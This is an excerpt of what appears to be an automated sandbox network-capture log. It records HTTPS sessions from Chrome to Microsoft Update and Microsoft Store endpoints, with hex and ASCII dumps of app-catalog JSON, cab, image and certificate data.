2022-06-08 07:57:07 UTC 9941 IN Data Raw: 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 
64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 
73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 
3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 
70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 
73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 7
6 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 
Data Ascii: ory.first\":\"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":false,\"optOut.removeable
Media\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\"
:81,\"systemId\":

2022-06-08 07:57:07 UTC 9945 IN Data Raw: 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 30 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 
31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 
69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 2
2 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 39 63 34 33 66 35 31 38 2d 65 62 64 31 2d 34 62 62 61 2d 61 35 62 38 
2d 35 33 30 63 34 38 34 30 61 65 66 66 22 2c 22 57 75 43 61 74 65 67 
Data Ascii: vel\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":70,\"systemId\":15},{\"level\":67,\"systemId\":13}]
}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NH2GPH4JZS4","WuBundleId":"9c43f518-ebd1-4bba-
a5b8-530c4840aeff","WuCateg

2022-06-08 07:57:07 UTC 9949 IN Data Raw: 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 54 65 61 6d 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 
32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 
22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 
31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 
3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 3
4 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 
73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 
Data Ascii: Name":"Windows.Team"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Holographic"},
{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},{"MaxVersion":2147483647,"MinVersion"
:0,"PlatformName":"Windows.8828080"}]},"EndDate

2022-06-08 07:57:07 UTC 9953 IN Data Raw: 6e 72 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 48 69 70 20 48 6f 70 2c 20 45 64 6d 2c 20 50 6f 70 2c 20 52 6f 
63 6b 2c 20 52 61 70 2c 20 61 6e 64 20 43 6f 75 6e 74 72 79 2c 20 61 6e 64 20 74 68 65 20 6d 6f 73 74 20 76 69 72 61 
6c 20 6f 72 69 67 69 6e 61 6c 20 73 6f 75 6e 64 73 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 45 78 70 72 65 73 73 20 79 6f 
75 72 73 65 6c 66 20 77 69 74 68 20 63 72 65 61 74 69 76 65 20 65 66 66 65 63 74 73 5c 72 5c 6e 55 6e 6c 6f 63 6b 20 
74 6f 6e 73 20 6f 66 20 66 69 6c 74 65 72 73 2c 20 65 66 66 65 63 74 73 2c 20 61 6e 64 20 41 52 20 6f 62 6a 65 63 74 73 
20 74 6f 20 74 61 6b 65 20 79 6f 75 72 20 76 69 64 65 6f 73 20 74 6f 20 74 68 65 20 6e 65 78 74 20 6c 65 76 65 6c 2e 5c 
72 5c 6e 5c 72 5c 6e e2 96 a0 20 45 64 69 74 20 79 6f 75 72 20 
Data Ascii: nre, including Hip Hop, Edm, Pop, Rock, Rap, and Country, and the most viral original sounds.\r\n\r\n Express 
yourself with creative effects\r\nUnlock tons of filters, effects, and AR objects to take your videos to the next level.\r\n\r\n 
Edit your 

2022-06-08 07:57:07 UTC 9957 IN Data Raw: 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 65 22 2c 22 4d 61 69 6e 
50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 
75 6c 6c 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 33 
2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 
3a 22 36 32 61 66 39 30 66 35 2d 38 63 66 61 2d 36 63 38 30 2d 63 31 35 38 2d 30 61 64 66 62 37 36 63 33 38 34 39 2d 
4e 65 75 74 72 61 6c 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 31 30 2c 22 50 6c 61 74 66 6f 72 6d 44 
65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 
Data Ascii: ePte.Ltd.TikTok_6yccndn6064se","MainPackageFamilyNameForDlc":null,"PackageFullName":"BytedancePte.
Ltd.TikTok_1.0.3.70_neutral_~_6yccndn6064se","PackageId":"62af90f5-8cfa-6c80-c158-0adfb76c3849-Neutral","Packa
geRank":30010,"PlatformDependencies":[{"MaxTest

2022-06-08 07:57:07 UTC 9961 IN Data Raw: 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 
30 39 37 30 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 
34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 
61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 
6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 6
1 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 
2e 34 2e 30 5f 78 38 36 5f 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 
Data Ascii: mDependencies":[{"MaxTested":2814750970478592,"MinVersion":2814750835277824,"PlatformNam
e":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackag
es\":[\"BytedancePte.Ltd.TikTok_1.0.4.0_x86__6yccndn6064s

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:57:07 UTC 9965 IN Data Raw: 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 
74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 
2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 
4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 
63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 
30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 32 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 
65 64 22 3a 66 61 6c 73 65 7d 5d 7d 5d 7d 5d 2c 22 54 6f 74 61 6c 52 65 73 
Data Ascii: ManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"L
istPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0011","DisplayRank
":2,"RemediationRequired":false}]}]}],"TotalRes

2022-06-08 07:57:07 UTC 9965 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

129 192.168.2.3 49857 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:07 UTC 9965 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:07 UTC 9965 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 1172c77f-68ae-4ba1-aab6-95af1e8797e3
MS-RequestId: 2bbbe026-5cd7-4d02-b72c-353c01a52019
MS-CV: j/rxKfoTw0GBX2Uq.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:06 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:07 UTC 9966 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:07 UTC 9981 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:07 UTC 9997 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.2.3 49717 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:53:54 UTC 144 OUT GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-
a610abdc7713?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:54 UTC 151 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 29489
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:03 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk"
MS-CV: ueR7a/BKZkGigRoU.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:54 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:54 UTC 151 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 
e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 
55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 
bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 0
9 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 
00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 
Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @   @6@ p6 @

2022-06-08 07:53:54 UTC 167 IN Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 
f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 
6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 
25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb 
d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f 
d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 
d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b 
Data Ascii: l9|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`|/z$>=unAn"$|tLV 
,Xx`.bd

2022-06-08 07:53:54 UTC 175 IN Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 
1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 
47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 
66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 
94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 
1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 
b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 
Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

130 192.168.2.3 49858 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:08 UTC 10001 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:08 UTC 10001 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: c706f77e-f2a2-4ac7-bf9e-0c510845c6be
MS-RequestId: 6d1ca69f-3d2c-47e0-a04c-14e80450baec
MS-CV: sNPNYTa1ikOLWp/a.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:08 GMT
Connection: close
Content-Length: 35877
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2022-06-08 07:57:08 UTC 10002 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:08 UTC 10017 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:08 UTC 10033 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

131 192.168.2.3 49859 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:08 UTC 10037 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AdobeSystemsIncorporated.AdobePhotosho
pExpress_ynb6jyjzte8ga&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Pub
lic&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: RMJ1wyKXOUa74Ova.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:57:08 UTC 10037 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:57:07 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 475ad14a-5b7d-4ec0-bf3a-4bfbaeddb906
MS-RequestId: 41c9079c-c430-4d24-a13b-b09cc86fb2c4
MS-CV: RMJ1wyKXOUa74Ova.0.2.4.1227128004.0.1.1227128004.1781066416.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-pwcvg
Region: neu
Node: aks-bigcatrpns-32351330-vmss00004u
MS-DocumentVersions: 9WZDNCRFJ27N|4329

2022-06-08 07:57:08 UTC 10038 IN Data Raw: 31 31 62 61 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
